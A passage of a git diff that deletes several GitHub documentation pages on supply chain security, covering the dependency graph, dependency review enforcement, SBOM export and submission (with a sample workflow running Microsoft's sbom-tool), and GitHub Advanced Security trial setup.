action](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-review-action). - -## Enforcing dependency review for your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-ruleset-settings %} -1. Click **New branch ruleset**. -1. Set **Enforcement status** to **{% octicon "play" aria-hidden="true" %} Active**. -1. Optionally, you can target specific repositories in your organization. For more information, see [Choosing which repositories to target in your organization](/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization#choosing-which-repositories-to-target-in-your-organization). -1. In the "Rules" section, select the "Require workflows to pass before merging" option. -1. In "Workflow configurations", click **Add workflow**. -1. In the dialog, select the repository that you added the {% data variables.dependency-review.action_name %} to. For more information, see [Prerequisites](#prerequisites). -1. Select a branch and the workflow file for dependency review in the enhanced dialog. - - ![Screenshot of the Add required workflow dialog. You need to specify a repository, branch, and workflow.](/assets/images/help/repository/add-required-workflow-dialog.png) - -1. Click **Create**. diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md deleted file mode 100644 index 3e17d93ffaaa..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Exploring the dependencies of a repository -intro: 'You can use the dependency graph to see the packages your project depends on{% ifversion fpt or ghec %} and the repositories that depend on it{% endif %}. In addition, you can see any vulnerabilities detected in its dependencies.' -permissions: '{% data reusables.permissions.dependency-graph-view-dependencies %}' -redirect_from: - - /articles/listing-the-packages-that-a-repository-depends-on - - /github/visualizing-repository-data-with-graphs/listing-the-packages-that-a-repository-depends-on - - /articles/listing-the-projects-that-depend-on-a-repository - - /github/visualizing-repository-data-with-graphs/listing-the-projects-that-depend-on-a-repository - - /github/visualizing-repository-data-with-graphs/exploring-the-dependencies-and-dependents-of-a-repository - - /github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository - - /code-security/supply-chain-security/exploring-the-dependencies-of-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Dependency graph - - Dependencies - - Repositories -shortTitle: Explore dependencies ---- - -## Viewing the dependency graph - -The dependency graph shows the dependencies{% ifversion fpt or ghec %} and dependents{% endif %} of your repository. {% data reusables.dependency-graph.repository-view-update %} For information about the detection of dependencies and which ecosystems are supported, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -{% data reusables.repositories.click-dependency-graph %} -1. Optionally, use the search bar to find a specific dependency or set of dependencies. You can use the keywords `ecosystem:` to show only packages of a certain type, or `relationship:` to show only direct or transitive dependencies (if the ecosystem supports transitivity). Plain words in search bar will only match package names. - -{% ifversion fpt or ghec %} - -1. Optionally, to view the repositories and packages that depend on your repository, under "Dependency graph", click **Dependents**. - - ![Screenshot of the "Dependency graph" page. The "Dependents" tab is highlighted with an orange outline.](/assets/images/help/graphs/dependency-graph-dependents-tab.png) - - >[!NOTE] {% data variables.product.prodname_dotcom %} currently only determines dependents for public repositories. - -{% endif %} - -{% ifversion ghes %} -Enterprise owners can configure the dependency graph at an enterprise level. For more information, see [AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise). -{% endif %} - -### Dependencies view - -{% ifversion fpt or ghec %} -For each dependency, you can see its ecosystem, the manifest file in which it was found, and its license (where detected). - -* Dependencies for private repositories, private packages, or unrecognized files are shown in plain text. -* If the package manager for the dependency is in a public repository, you can hover on the dependency name to display a pop-up with the associated repository information. -* You can sort and filter dependencies by typing filters as `key:value` pairs into the search bar. - - * Use `ecosystem: <ecosystem-name>` to display dependencies for the selected ecosystem.{% ifversion transitive-dependency-labeling-npm %} - * Use `relationship:` to filter the list by relationship status. Possible values are `direct`, `transitive`, and `inconclusive`. Alternatively, you can click the relationship label adjacent to a dependency name to only show dependencies of the same relationship status. This filter is only available for ecosystems with transitive dependency support. See [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems) for more information.{% endif %} - -{% endif %} - -{% ifversion ghes %} -Any direct and indirect dependencies that are specified in the repository's manifest or lock files are listed{% ifversion ghes %}.{% else %}, grouped by ecosystem.{% endif %} -{% endif %} - -Dependencies submitted to a project using the {% data variables.dependency-submission-api.name %} will show which detector was used for their submission and when they were submitted. For more information on using the {% data variables.dependency-submission-api.name %}, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). - -If vulnerabilities have been detected in the repository, these are shown at the top of the view for users with access to {% data variables.product.prodname_dependabot_alerts %}. - -{% ifversion ghes %} - -> [!NOTE] -> {% data variables.product.prodname_ghe_server %} does not populate the **Dependents** view. - -{% endif %} - -{% ifversion fpt or ghec %} - -### Dependents view - -For public repositories, the dependents view shows how the repository is used by other repositories. To show only the repositories that contain a library in a package manager, click **NUMBER Packages** immediately above the list of dependent repositories. The dependent counts are approximate and may not always match the dependents listed. - -## Enabling and disabling the dependency graph - -{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo-public-fork %} - -## Changing the "Used by" package - -You may notice some repositories have a "Used by" section in the sidebar of the **Code** tab. Your repository will have a "Used by" section if: -* The dependency graph is enabled for the repository (see the above section for more details). -* Your repository contains a package that is published on a [supported package ecosystem](/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems#supported-package-ecosystems). -* Within the ecosystem, your package has a link to a _public_ repository where the source is stored. -* More than 100 repositories depend on your package. - -The "Used by" section shows the number of public references to the package that were found, and displays the avatars of some of the owners of the dependent projects. - -![Screenshot of the "Used by" section for a repository showing the summary of "13.4m" with details of 8 avatars and "+13,435,819."](/assets/images/help/repository/used-by-section.png) - -Clicking any item in this section takes you to the **Dependents** tab of the dependency graph. - -The "Used by" section represents a single package from the repository. If you have admin permissions to a repository that contains multiple packages, you can choose which package the "Used by" section represents. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", click the drop-down menu in the "Used by counter" section and choose a package. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph) -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph) -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts){% ifversion ghec %} -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-dependencies-in-your-organization){% endif %}{% ifversion fpt or ghec %} -* [AUTOTITLE](/get-started/privacy-on-github) -{% endif %} diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exporting-a-software-bill-of-materials-for-your-repository.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exporting-a-software-bill-of-materials-for-your-repository.md deleted file mode 100644 index 82ab0dc92803..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/exporting-a-software-bill-of-materials-for-your-repository.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Exporting a software bill of materials for your repository -intro: You can export a software bill of materials or SBOM for your repository from the dependency graph. SBOMs allow transparency into your open source usage and help expose supply chain vulnerabilities, reducing supply chain risks. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: '{% data reusables.permissions.dependency-graph-export-sbom %}' -type: how_to -topics: - - Dependency graph - - Dependencies - - Repositories -shortTitle: Export dependencies as SBOM ---- - -## About the dependency graph and SBOM exports - -{% data reusables.dependabot.about-the-dependency-graph %} - -You can export the current state of the dependency graph for your repository as a Software Bill of Materials (SBOM) using the industry standard [SPDX](https://spdx.github.io/spdx-spec/v2.3/) format: -* Via the {% data variables.product.prodname_dotcom %} UI -* Using the REST API - -{% data reusables.dependency-graph.sbom-intro %} - -If your company provides software to the US federal government per [Executive Order 14028](https://www.gsa.gov/technology/it-contract-vehicles-and-purchasing-programs/information-technology-category/it-security/executive-order-14028), you will need to provide an SBOM for your product. You can also use SBOMs as part of your audit process and use them to comply with regulatory and legal requirements. - -> [!NOTE] -> Dependents are not included in SBOMs. - -## Exporting a software bill of materials for your repository from the UI - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -1. In the left sidebar, click **Dependency graph**. -1. On the top right side of the **Dependencies** tab, click **Export SBOM** to generate an SBOM file for download from your browser. - -## Exporting a software bill of materials for your repository using the REST API - -If you want to use the REST API to export an SBOM for your repository, see [AUTOTITLE](/rest/dependency-graph/sboms#export-a-software-bill-of-materials-sbom-for-a-repository). diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md deleted file mode 100644 index 191fd095c07b..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Understanding your software supply chain -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Dependency graph - - Dependencies - - Repositories -shortTitle: Understand your supply chain -children: - - /about-supply-chain-security - - /about-the-dependency-graph - - /dependency-graph-supported-package-ecosystems - - /configuring-the-dependency-graph - - /configuring-automatic-dependency-submission-for-your-repository - - /exporting-a-software-bill-of-materials-for-your-repository - - /using-the-dependency-submission-api - - /about-dependency-review - - /configuring-the-dependency-review-action - - /customizing-your-dependency-review-action-configuration - - /enforcing-dependency-review-across-an-organization - - /exploring-the-dependencies-of-a-repository - - /troubleshooting-the-dependency-graph ---- diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md deleted file mode 100644 index 0f077bbdd039..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Troubleshooting the dependency graph -intro: 'If the dependency information reported by the dependency graph is not what you expected, there are a number of points to consider, and various things you can check.' -product: '{% data reusables.gated-features.dependency-graph %}' -shortTitle: Troubleshoot dependency graph -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Troubleshooting - - Errors - - Dependencies - - Vulnerabilities - - Dependency graph - - CVEs - - Repositories ---- - -{% data reusables.dependabot.result-discrepancy %} - -## Does the dependency graph only find dependencies in manifests and lockfiles? - -The dependency graph automatically includes information on dependencies that are explicitly declared in your environment. That is, dependencies that are specified in a manifest or a lockfile. The dependency graph generally also includes transitive dependencies, even when they aren't specified in a lockfile, by looking at the dependencies of the dependencies in a manifest file. - -The dependency graph doesn't automatically include "loose" dependencies. "Loose" dependencies are individual files that are copied from another source and checked into the repository directly or within an archive (such as a ZIP or JAR file), rather than being referenced by in a package manager’s manifest or lockfile. - -However, you can use the {% data variables.dependency-submission-api.name %} to add dependencies to a project's dependency graph, even if the dependencies are not declared in a manifest or lock file, such as dependencies resolved when a project is built. {% data reusables.dependency-graph.dependency-submission-API-short %} For more information on the {% data variables.dependency-submission-api.name %}, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). - -**Check:** Is the missing dependency for a component that's not specified in the repository's manifest or lockfile? - -## Does the dependency graph detect dependencies specified using variables? - -The dependency graph analyzes manifests as they’re pushed to {% data variables.product.prodname_dotcom %}. The dependency graph doesn't, therefore, have access to the build environment of the project, so it can't resolve variables used within manifests. If you use variables within a manifest to specify the name, or more commonly the version of a dependency, then that dependency will not automatically be included in the dependency graph. - -However, you can use the {% data variables.dependency-submission-api.name %} to add dependencies to a project's dependency graph, even if the dependencies are only resolved when a project is built. For more information on the {% data variables.dependency-submission-api.name %}, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). - -**Check:** Is the missing dependency declared in the manifest by using a variable for its name or version? - -## Are there limits which affect the dependency graph data? - -Yes, the dependency graph has limits on the size, number, and location of manifest files that it will process. - -The processing limits affect the dependency graph displayed within {% data variables.product.prodname_dotcom %} and also prevent {% data variables.product.prodname_dependabot_alerts %} being created. - -Manifests over 10 MB in size are ignored and will not generate {% data variables.product.prodname_dependabot_alerts %}. - -By default, {% data variables.product.github %} will not process more than {% ifversion fpt or ghec %}150{% else %}600{% endif %} manifests per repository. {% data variables.product.prodname_dependabot %} doesn't generate {% data variables.product.prodname_dependabot_alerts %} for manifests beyond this limit, and {% data variables.product.prodname_dependabot_alerts %} may behave unpredictably if this limit is exceeded. - -Manifest files stored in directories with names that are typically used for vendored dependencies will not be processed. A directory whose name matches the following regular expressions is considered a vendored dependencies directory: - <!-- markdownlint-disable MD011 --> - * <code>(3rd|[Tt]hird)[-_]?[Pp]arty/</code> - * <code>(^|/)vendors?/</code> - * <code>(^|/)[Ee]xtern(als?)?/</code> - * <code>(^|/)[Vv]+endor/</code> - <!-- markdownlint-enable MD011 --> - - Examples: - * third-party/dependencies/dependency1 - * vendors/dependency1 - * /externals/vendor1/dependency1 - -## My dependencies don't look right, what can I do? - -If the table of dependencies for your project doesn't accurately represent your repository's manifests, you can trigger a rebuild of its dependency graph. - -From the repository's {% data variables.product.prodname_dependabot_alerts %} tab, click {% octicon "gear" aria-label="settings" %} at the top of the alert list. Select **Refresh {% data variables.product.prodname_dependabot_alerts %}** from the dropdown menu. This will enqueue a background task to process the repository's manifests, detect any new or changed dependencies, and update the alerts. - ->[!NOTE] You need to have permission to manage security alerts in order to refresh a repository's dependency graph. See [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) for information on configuring this access. To further reduce the potential for abuse, the **Refresh {% data variables.product.prodname_dependabot_alerts %}** option can only be triggered once an hour per repository. - -Clicking **Refresh {% data variables.product.prodname_dependabot_alerts %}** will only scan manifest files. If your dependency graph also includes build-time dependency information submitted using the {% data variables.dependency-submission-api.name %}, rerunning the Action or external process which generates and submits the dependency information will also trigger a rebuild of the repository's dependency graph. For more information about the {% data variables.dependency-submission-api.name %}, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). - -If you are using automatic dependency submission for Maven, pushing a commit that updates the repository's `pom.xml` will trigger the automatic submission action to run. - -In all cases, the timestamp at the top of the list of alerts indicates the last time the dependency graph was built. - -## Further reading - -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph) -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) -* [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies) -* [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-errors) diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md deleted file mode 100644 index 73388ec62e91..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Using the dependency submission API -intro: 'You can use the {% data variables.dependency-submission-api.name %} to submit dependencies for projects, such as the dependencies resolved when a project is built or compiled.' -shortTitle: Dependency submission API -topics: - - API - - Dependency graph - - Dependencies - - REST -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About the {% data variables.dependency-submission-api.name %} - -{% data reusables.dependency-submission.about-dependency-submission %} - -Dependencies are submitted to the {% data variables.dependency-submission-api.name %} in the form of a snapshot. A snapshot is a set of dependencies associated with a commit SHA and other metadata, that reflects the current state of your repository for a commit. Snapshots can be generated from your dependencies detected at build time or from a software bill of materials (SBOM). There are {% data variables.product.prodname_actions %} that support either of these use cases. For more information about the {% data variables.dependency-submission-api.name %}, see [AUTOTITLE](/rest/dependency-graph/dependency-submission). - -## Submitting dependencies at build-time - -You can use the {% data variables.dependency-submission-api.name %} in a {% data variables.product.prodname_actions %} workflow to submit dependencies for your project when your project is built. - -### Using pre-made actions - -{% data reusables.dependency-submission.api-premade-actions %} - -For more information about these actions, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems#package-ecosystems-supported-via-dependency-submission-actions). - -### Creating your own action - -Alternatively, you can write your own action to submit dependencies for your project at build-time. Your workflow should: - - 1. Generate a list of dependencies for your project. - 1. Translate the list of dependencies into the snapshot format accepted by the {% data variables.dependency-submission-api.name %}. For more information about the format, see the body parameters for the "Create a repository snapshot" API endpoint in [AUTOTITLE](/rest/dependency-graph/dependency-submission). - 1. Submit the formatted list of dependencies to the {% data variables.dependency-submission-api.name %}. - -{% data variables.product.github %} maintains the [Dependency Submission Toolkit](https://github.com/github/dependency-submission-toolkit), a TypeScript library to help you build your own GitHub Action for submitting dependencies to the {% data variables.dependency-submission-api.name %}. For more information about writing an action, see [AUTOTITLE](/actions/creating-actions). - -## Generating and submitting a software bill of materials (SBOM) - -{% data reusables.dependency-graph.sbom-intro %} - -### Generating a software bill of materials (SBOM) - -To generate an SBOM, you can use: -* The **{% data variables.product.prodname_dotcom %} UI**. For more information about how to export an SBOM for a repository using information from the dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exporting-a-software-bill-of-materials-for-your-repository). -* The **REST API**. For more information, see [AUTOTITLE](/rest/dependency-graph/sboms). -* **{% data variables.product.prodname_actions %}**. The following actions will generate an SBOM for your repository and attach it as a workflow artifact which you can download and use in other applications. For more information about downloading workflow artifacts, see [AUTOTITLE](/actions/managing-workflow-runs/downloading-workflow-artifacts). - -Action | Details | ---- | --- | -[Anchore SBOM Action](https://github.com/marketplace/actions/anchore-sbom-action) | Uses [Syft](https://github.com/anchore/syft) to create SPDX 2.2 compatible SBOMs with the [supported ecosystems](https://github.com/anchore/syft#supported-ecosystems) | -[sbom-tool by Microsoft](https://github.com/microsoft/sbom-tool) | Scans your dependencies and creates an SPDX compatible SBOM | - -### Submitting a software bill of materials (SBOM) to the {% data variables.dependency-submission-api.name %} - -To receive {% data variables.product.prodname_dependabot_alerts %} for dependencies that have known vulnerabilities, you can upload and submit the SBOM to the {% data variables.dependency-submission-api.name %}. To submit an SBOM to the {% data variables.dependency-submission-api.name %}, you can use one of the actions in the following table. - ->[!TIP] The [SPDX Dependency Submission Action](https://github.com/marketplace/actions/spdx-dependency-submission-action) and the [Anchore SBOM Action](https://github.com/marketplace/actions/anchore-sbom-action) can be used to both generate the SBOM and submit it to the {% data variables.dependency-submission-api.name %}. - -Action | Details | ---- | --- | -[SPDX Dependency Submission Action](https://github.com/marketplace/actions/spdx-dependency-submission-action) | Uses [Microsoft's SBOM Tool](https://github.com/microsoft/sbom-tool) to create SPDX 2.2 compatible SBOMs with the [supported ecosystems](https://github.com/microsoft/component-detection/blob/main/docs/feature-overview.md) | -[Anchore SBOM Action](https://github.com/marketplace/actions/anchore-sbom-action) | Uses [Syft](https://github.com/anchore/syft) to create SPDX 2.2 compatible SBOMs with the [supported ecosystems](https://github.com/anchore/syft#supported-ecosystems) | -[SBOM Dependency Submission Action](https://github.com/marketplace/actions/sbom-submission-action)| Uploads a CycloneDX SBOM to the {% data variables.dependency-submission-api.name %} | - -For example, the following [SPDX Dependency Submission Action](https://github.com/marketplace/actions/spdx-dependency-submission-action) workflow calculates the dependencies for a repository, generates an exportable SBOM in SPDX 2.2 format, and submits it to the {% data variables.dependency-submission-api.name %}. - -```yaml - -name: SBOM upload - -on: - workflow_dispatch: - push: - branches: ["main"] - -jobs: - SBOM-upload: - - runs-on: ubuntu-latest - permissions: - id-token: write - contents: write - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Generate SBOM - # generation command documentation: https://github.com/microsoft/sbom-tool#sbom-generation - run: | - curl -Lo $RUNNER_TEMP/sbom-tool https://github.com/microsoft/sbom-tool/releases/latest/download/sbom-tool-linux-x64 - chmod +x $RUNNER_TEMP/sbom-tool - $RUNNER_TEMP/sbom-tool generate -b . -bc . -pn ${{ github.repository }} -pv 1.0.0 -ps OwnerName -nsb https://sbom.mycompany.com -V Verbose - - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: sbom - path: _manifest/spdx_2.2 - - name: SBOM upload - uses: advanced-security/spdx-dependency-submission-action@5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e - with: - filePath: "_manifest/spdx_2.2/" -``` diff --git a/content/code-security/trialing-github-advanced-security/enable-security-features-trial.md b/content/code-security/trialing-github-advanced-security/enable-security-features-trial.md deleted file mode 100644 index 82859a3d915f..000000000000 --- a/content/code-security/trialing-github-advanced-security/enable-security-features-trial.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Enabling security features in your trial enterprise -shortTitle: Enable security features in trial -allowTitleToDifferFromFilename: true -intro: 'Quickly create an enterprise-level configuration and apply security features across all repositories in your trial enterprise.' -type: quick_start -permissions: '{% data reusables.permissions.security-configuration-enterprise-enable %}' -topics: - - Code Security - - Secret Protection -versions: - fpt: '*' - ghec: '*' ---- - -This article assumes that you have planned and then started a trial of {% data variables.product.prodname_GHAS %}. For more information, see [AUTOTITLE](/code-security/trialing-github-advanced-security/planning-a-trial-of-ghas). - -The aim is to enable all the security features you want to trial quickly, as a starting point for deeper exploration. You should start getting results soon on the repositories in your trial enterprise and you can fine-tune the configuration later. - -## Step 1: Create an enterprise security configuration for your trial goals - -When you planned your trial, you identified the features that you want to test and any enforcement needs. You should create one or more security configurations for your enterprise that enable these features and set any enforcement levels you require. - -1. In the top-right corner of {% data variables.product.prodname_dotcom %}, click your profile photo. -1. Depending on your environment, click **Your enterprise**, or click **Your enterprises** then click your trial enterprise. -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.advanced-security-tab %} -1. Click **New configuration** to create a new configuration. -1. Give the configuration a meaningful name and description. -1. You will see that most features are already enabled. Review the features that are **Not set** and enable any that you want to trial, for example: "Automatic dependency submission." -1. In the "Policy" area, set the "Use as default for newly created repositories" option as needed to define whether or not to apply the configuration to new repositories created in the enterprise. -1. In the "Policy" area, notice that the "Enforce configuration" option is set to **Enforce** so that applying the configuration to a repository enforces all settings apart from any left as "Not set". - > [!TIP] While you are testing {% data variables.product.prodname_GHAS %}, you may want to change this to **Don't enforce** to allow you to optimize repository settings as needed without modifying security configurations. -1. When you have finished defining the configuration, click **Save configuration**. - -The new enterprise security configuration is now available for use at the enterprise level and also within every organization in the enterprise. - -## Step 2: Apply your enterprise security configuration to repositories - -You can apply an enterprise security configuration either at the enterprise level or at the organization level. The best option for you will depend on whether or not you want to apply the configuration to all repositories in the enterprise, or to a subset of repositories. - -> [!NOTE] Although {% data variables.product.prodname_GHAS %} is free of charge during trials, you will be charged for any actions minutes that you use. This includes actions minutes used by the default {% data variables.product.prodname_code_scanning %} setup or by any other workflows you run. - -* Enterprise-level application: - * Add an enterprise configuration to all repositories in the enterprise, or all repositories without an existing configuration in the enterprise. -* Organization-level application: - * Add an enterprise or an organization configuration to all repositories in the organization, or all repositories without an existing configuration in the organization. - * Add an enterprise or an organization configuration to a subset of repositories in the organization. - -You may find it helpful to apply an enterprise security configuration to all repositories in your enterprise, and then work at the organization-level to select a subset of repositories and apply an alternative security configuration. - -### Enterprise-level application - -1. Open your trial enterprise. -1. In the sidebar, click **Settings** and then {% ifversion ghas-products-cloud %}**{% data variables.product.prodname_AS %}**{% else %}**Code security**{% endif %} to display the security configurations page. -1. For the configuration you want to apply, click **Apply to** and choose whether to apply the configuration to all repositories in the enterprise or just to the repositories without an existing security configuration. - -### Organization-level application - -1. Open an organization in your trial enterprise. -1. Click the **Settings** tab to display the organization settings. -1. In the sidebar, click {% ifversion ghas-products-cloud %}**{% data variables.product.prodname_AS %}**{% else %}**Code security**{% endif %} and then **Configurations** to display the security configurations page. -1. Optionally, select the **Apply to** dropdown menu and click either **All repositories**, to apply any configuration to all repositories in the organization, or **All repositories without configurations**, to configure just the repositories in the organization without an existing security configuration. -1. Optionally, in the "Apply configurations" section use the "Search repositories" field or **Filter** button to filter repositories. Then select one or more repositories and use the **Apply configuration** button to choose a configuration to apply to those repositories. - -For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration). - -## Next steps - -Now that you have enabled the security features you want to test, you are ready to look more deeply into how {% data variables.product.prodname_GH_secret_protection %} and {% data variables.product.prodname_GH_code_security %} protect your code. - -1. [AUTOTITLE](/code-security/trialing-github-advanced-security/explore-trial-secret-scanning) -1. [AUTOTITLE](/code-security/trialing-github-advanced-security/explore-trial-code-scanning) diff --git a/content/code-security/trialing-github-advanced-security/explore-trial-code-scanning.md b/content/code-security/trialing-github-advanced-security/explore-trial-code-scanning.md deleted file mode 100644 index a53b2e5ba783..000000000000 --- a/content/code-security/trialing-github-advanced-security/explore-trial-code-scanning.md +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Exploring your enterprise trial of code scanning -shortTitle: Trial code scanning -allowTitleToDifferFromFilename: true -intro: 'Introduction to the features of code and dependency scanning available with {% data variables.product.prodname_GH_code_security %} in {% data variables.product.prodname_ghe_cloud %} so you can assess their fit to your business needs.' -type: quick_start -topics: - - Code Security -versions: - fpt: '*' - ghec: '*' ---- - -This guide assumes that you have planned and started a trial of {% data variables.product.prodname_GHAS %} for an existing or trial {% data variables.product.github %} enterprise account, see [AUTOTITLE](/code-security/trialing-github-advanced-security/planning-a-trial-of-ghas). - -## Introduction - -{% data variables.product.prodname_code_scanning_caps %} and dependency analysis work in the same way in public repositories and in private and internal repositories with {% data variables.product.prodname_GH_code_security %} enabled. In addition, {% data variables.product.prodname_GH_code_security %} enables you to create security campaigns where security specialists and developers can collaborate to effectively reduce technical debt. - -This article focuses on how you can combine these features with enterprise-level controls to standardize and enforce your development process. - -### Refine your security configurations - -In contrast to {% data variables.product.prodname_secret_scanning %}, where a single security configuration is typically applied to all repositories, you probably want to fine-tune the configuration of {% data variables.product.prodname_code_scanning %} for different types of repositories. For example, you might need to create additional configurations so that: - -* {% data variables.product.prodname_code_scanning_caps %} uses runners with a specific label to apply to repositories that require a specialized environment or that use private registeries. -* {% data variables.product.prodname_code_scanning_caps %} is "Not set" to apply to repositories that need to use advanced setup or that require a third-party tool. - -For your trial, it's simplest to create a primary enterprise-level security configuration and apply it to your test repositories. Then you can create any additional security configurations you need and apply them to a subset of repositories selected using code language, custom property, visibility, and other filter options. For more information, see [AUTOTITLE](/code-security/trialing-github-advanced-security/enable-security-features-trial) and [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration). - -### Provide access to view results of {% data variables.product.prodname_code_scanning %} - -By default, only the repository administrator and the organization owner can view all {% data variables.product.prodname_code_scanning %} alerts in their area. You should assign the predefined security manager role to all organization teams and users who you want to access the alerts found during the trial. You may also want to give the enterprise account owner this role for each organization in the trial. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization) and [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/using-organization-roles#assigning-an-organization-role). - -## Evaluate and refine results from the default setup - -The default setup for {% data variables.product.prodname_code_scanning %} runs a set of high confidence queries. These are chosen to ensure that, when you roll out {% data variables.product.prodname_code_scanning %} across your whole codebase, developers see a limited set of high quality results, with few false positive results. - -You can see a summary of any results found in the organizations in your trial enterprise in the **{% ifversion ghas-products-cloud %}{% data variables.product.prodname_AS %}{% else %}Code security{% endif %}** tab for the enterprise. There are also separate views for each type of security alert, see [AUTOTITLE](/code-security/security-overview/viewing-security-insights). - -If you don't see the results you expect for {% data variables.product.prodname_code_scanning %}, you can update default setup to run an extended query suite for repositories where you expected to find more results. This is controlled at the repository level, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup). - -> [!TIP] -> If you are blocked from editing the repository settings for {% data variables.product.prodname_code_scanning %}, edit the security configuration used by the repository so that settings are not enforced. - -If the extended suite still fails to find the results you expect, you may need to enable advanced setup so you can customize the analysis fully. For more information, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/about-the-tool-status-page) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning). - -## Enforce automated analysis of pull requests - -There are three different types of automated analysis of pull requests built into {% data variables.product.github %}: - -* **{% data variables.product.prodname_code_scanning_caps %} analysis** uses queries to highlight known bad coding patterns and security vulnerabilities. {% data variables.product.prodname_copilot_autofix_short %} suggests fixes to problems identified by {% data variables.product.prodname_code_scanning %}. -* **Dependency review** summarizes the dependency changes made by the pull request and highlights any dependencies with known vulnerabilities or that do not meet your development standards. -* **{% data variables.product.prodname_copilot_short %} code review** uses AI to provide feedback on your changes with suggested fixes where possible. - -These automated reviews are a valuable extension to self-review and make it easier for developers to present a more complete and secure pull request for peer review. In addition, {% data variables.product.prodname_code_scanning %} and dependency reviews can be enforced to protect the security and compliance of your code. - -> [!NOTE] -> {% data variables.product.prodname_copilot_autofix %} is included in the license for {% data variables.product.prodname_GH_code_security %}. {% data variables.product.prodname_copilot_short %} code review requires a paid {% data variables.product.prodname_copilot_short %} plan. - -### {% data variables.product.prodname_code_scanning_caps %} analysis - -When {% data 